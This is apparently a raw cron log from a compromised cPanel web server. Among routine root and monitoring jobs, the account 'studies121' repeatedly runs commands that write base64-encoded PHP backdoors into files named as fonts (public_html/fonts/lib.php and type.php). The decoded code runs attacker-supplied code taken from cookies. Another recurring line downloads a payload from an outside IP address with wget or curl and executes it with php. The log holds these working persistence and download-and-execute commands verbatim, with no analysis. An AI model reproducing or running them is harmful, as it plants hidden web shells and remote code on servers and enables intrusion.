Aug 31 05:12:01 ip-184-168-122-23 CROND[3295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:12:01 ip-184-168-122-23 CROND[3299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:12:01 ip-184-168-122-23 CROND[3301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:12:01 ip-184-168-122-23 CROND[3302]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:12:01 ip-184-168-122-23 CROND[3306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:13:01 ip-184-168-122-23 CROND[3417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:13:01 ip-184-168-122-23 CROND[3418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:13:01 ip-184-168-122-23 CROND[3420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:13:01 ip-184-168-122-23 CROND[3422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:14:01 ip-184-168-122-23 CROND[3552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:14:01 ip-184-168-122-23 CROND[3554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:14:02 ip-184-168-122-23 CROND[3555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:14:02 ip-184-168-122-23 CROND[3556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:14:02 ip-184-168-122-23 CROND[3557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:15:01 ip-184-168-122-23 CROND[3688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:15:01 ip-184-168-122-23 CROND[3689]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:15:01 ip-184-168-122-23 CROND[3692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:15:01 ip-184-168-122-23 CROND[3693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:15:01 ip-184-168-122-23 CROND[3694]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:15:01 ip-184-168-122-23 CROND[3695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:16:01 ip-184-168-122-23 CROND[3810]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 05:16:01 ip-184-168-122-23 CROND[3811]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:16:01 ip-184-168-122-23 CROND[3814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:16:01 ip-184-168-122-23 CROND[3815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:16:01 ip-184-168-122-23 CROND[3816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:16:01 ip-184-168-122-23 CROND[3817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:17:01 ip-184-168-122-23 CROND[3924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:17:01 ip-184-168-122-23 CROND[3927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:17:01 ip-184-168-122-23 CROND[3925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:17:01 ip-184-168-122-23 CROND[3926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:18:01 ip-184-168-122-23 CROND[4014]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:18:01 ip-184-168-122-23 CROND[4017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:18:01 ip-184-168-122-23 CROND[4016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:18:01 ip-184-168-122-23 CROND[4019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:18:01 ip-184-168-122-23 CROND[4018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:19:01 ip-184-168-122-23 CROND[4220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:19:01 ip-184-168-122-23 CROND[4222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:19:01 ip-184-168-122-23 CROND[4224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:19:01 ip-184-168-122-23 CROND[4223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:20:01 ip-184-168-122-23 CROND[4350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:20:01 ip-184-168-122-23 CROND[4353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:20:01 ip-184-168-122-23 CROND[4355]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 05:20:01 ip-184-168-122-23 CROND[4354]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:20:01 ip-184-168-122-23 CROND[4356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:20:01 ip-184-168-122-23 CROND[4359]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:20:01 ip-184-168-122-23 CROND[4358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:20:01 ip-184-168-122-23 CROND[4360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:20:01 ip-184-168-122-23 CROND[4352]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:21:01 ip-184-168-122-23 CROND[4469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:21:01 ip-184-168-122-23 CROND[4471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:21:01 ip-184-168-122-23 CROND[4472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:21:01 ip-184-168-122-23 CROND[4473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:22:01 ip-184-168-122-23 CROND[4578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:22:01 ip-184-168-122-23 CROND[4579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:22:01 ip-184-168-122-23 CROND[4584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:22:01 ip-184-168-122-23 CROND[4582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:22:01 ip-184-168-122-23 CROND[4580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:23:01 ip-184-168-122-23 CROND[4708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:23:01 ip-184-168-122-23 CROND[4709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:23:01 ip-184-168-122-23 CROND[4712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:23:01 ip-184-168-122-23 CROND[4713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:24:01 ip-184-168-122-23 CROND[4831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
